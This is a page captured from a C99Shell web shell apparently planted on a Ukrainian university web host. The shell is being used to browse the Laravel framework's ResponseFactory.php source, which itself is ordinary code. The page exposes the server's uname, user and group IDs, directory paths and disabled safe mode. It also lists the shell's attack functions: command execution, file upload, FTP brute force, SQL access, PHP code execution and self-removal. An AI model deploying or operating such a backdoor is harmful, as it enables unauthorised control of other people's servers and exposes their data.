!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Routing/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ResponseFactory.php (6.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Routing;

use 
JsonSerializable;
use 
Illuminate\Support\Str;
use 
Illuminate\Http\Response;
use 
Illuminate\Http\JsonResponse;
use 
Illuminate\Support\Traits\Macroable;
use 
Illuminate\Contracts\Support\Arrayable;
use 
Illuminate\Contracts\View\Factory as ViewFactory;
use 
Symfony\Component\HttpFoundation\StreamedResponse;
use 
Symfony\Component\HttpFoundation\BinaryFileResponse;
use 
Illuminate\Contracts\Routing\ResponseFactory as FactoryContract;

class 
ResponseFactory implements FactoryContract
{
    use 
Macroable;

    
/**
     * The view factory instance.
     *
     * @var \Illuminate\Contracts\View\Factory
     */
    
protected $view;

    
/**
     * The redirector instance.
     *
     * @var \Illuminate\Routing\Redirector
     */
    
protected $redirector;

    
/**
     * Create a new response factory instance.
     *
     * @param  \Illuminate\Contracts\View\Factory  $view
     * @param  \Illuminate\Routing\Redirector  $redirector
     * @return void
     */
    
public function __construct(ViewFactory $viewRedirector $redirector)
    {
        
$this->view $view;
        
$this->redirector $redirector;
    }

    
/**
     * Return a new response from the application.
     *
     * @param  string  $content
     * @param  int  $status
     * @param  array  $headers
     * @return \Illuminate\Http\Response
     */
    
public function make($content ''$status 200, array $headers = [])
    {
        return new 
Response($content$status$headers);
    }

    
/**
     * Return a new view response from the application.
     *
     * @param  string  $view
     * @param  array  $data
     * @param  int  $status
     * @param  array  $headers
     * @return \Illuminate\Http\Response
     */
    
public function view($view$data = [], $status 200, array $headers = [])
    {
        return static::
make($this->view->make($view$data), $status$headers);
    }

    
/**
     * Return a new JSON response from the application.
     *
     * @param  string|array  $data
     * @param  int  $status
     * @param  array  $headers
     * @param  int  $options
     * @return \Illuminate\Http\JsonResponse
     */
    
public function json($data = [], $status 200, array $headers = [], $options 0)
    {
        if (
$data instanceof Arrayable && ! $data instanceof JsonSerializable) {
            
$data $data->toArray();
        }

        return new 
JsonResponse($data$status$headers$options);
    }

    
/**
     * Return a new JSONP response from the application.
     *
     * @param  string  $callback
     * @param  string|array  $data
     * @param  int  $status
     * @param  array  $headers
     * @param  int  $options
     * @return \Illuminate\Http\JsonResponse
     */
    
public function jsonp($callback$data = [], $status 200, array $headers = [], $options 0)
    {
        return 
$this->json($data$status$headers$options)->setCallback($callback);
    }

    
/**
     * Return a new streamed response from the application.
     *
     * @param  \Closure  $callback
     * @param  int  $status
     * @param  array  $headers
     * @return \Symfony\Component\HttpFoundation\StreamedResponse
     */
    
public function stream($callback$status 200, array $headers = [])
    {
        return new 
StreamedResponse($callback$status$headers);
    }

    
/**
     * Create a new file download response.
     *
     * @param  \SplFileInfo|string  $file
     * @param  string  $name
     * @param  array  $headers
     * @param  string|null  $disposition
     * @return \Symfony\Component\HttpFoundation\BinaryFileResponse
     */
    
public function download($file$name null, array $headers = [], $disposition 'attachment')
    {
        
$response = new BinaryFileResponse($file200$headerstrue$disposition);

        if (! 
is_null($name)) {
            return 
$response->setContentDisposition($disposition$namestr_replace('%'''Str::ascii($name)));
        }

        return 
$response;
    }

    
/**
     * Return the raw contents of a binary file.
     *
     * @param  \SplFileInfo|string $file
     * @param  array $headers
     * @return  \Symfony\Component\HttpFoundation\BinaryFileResponse
     */
    
public function file($file, array $headers = [])
    {
        return new 
BinaryFileResponse($file200$headers);
    }

    
/**
     * Create a new redirect response to the given path.
     *
     * @param  string  $path
     * @param  int  $status
     * @param  array  $headers
     * @param  bool|null  $secure
     * @return \Illuminate\Http\RedirectResponse
     */
    
public function redirectTo($path$status 302$headers = [], $secure null)
    {
        return 
$this->redirector->to($path$status$headers$secure);
    }

    
/**
     * Create a new redirect response to a named route.
     *
     * @param  string  $route
     * @param  array  $parameters
     * @param  int  $status
     * @param  array  $headers
     * @return \Illuminate\Http\RedirectResponse
     */
    
public function redirectToRoute($route$parameters = [], $status 302$headers = [])
    {
        return 
$this->redirector->route($route$parameters$status$headers);
    }

    
/**
     * Create a new redirect response to a controller action.
     *
     * @param  string  $action
     * @param  array  $parameters
     * @param  int  $status
     * @param  array  $headers
     * @return \Illuminate\Http\RedirectResponse
     */
    
public function redirectToAction($action$parameters = [], $status 302$headers = [])
    {
        return 
$this->redirector->action($action$parameters$status$headers);
    }

    
/**
     * Create a new redirect response, while putting the current URL in the session.
     *
     * @param  string  $path
     * @param  int  $status
     * @param  array  $headers
     * @param  bool|null  $secure
     * @return \Illuminate\Http\RedirectResponse
     */
    
public function redirectGuest($path$status 302$headers = [], $secure null)
    {
        return 
$this->redirector->guest($path$status$headers$secure);
    }

    
/**
     * Create a new redirect response to the previously intended location.
     *
     * @param  string  $default
     * @param  int  $status
     * @param  array  $headers
     * @param  bool|null  $secure
     * @return \Illuminate\Http\RedirectResponse
     */
    
public function redirectToIntended($default '/'$status 302$headers = [], $secure null)
    {
        return 
$this->redirector->intended($default$status$headers$secure);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0357 ]--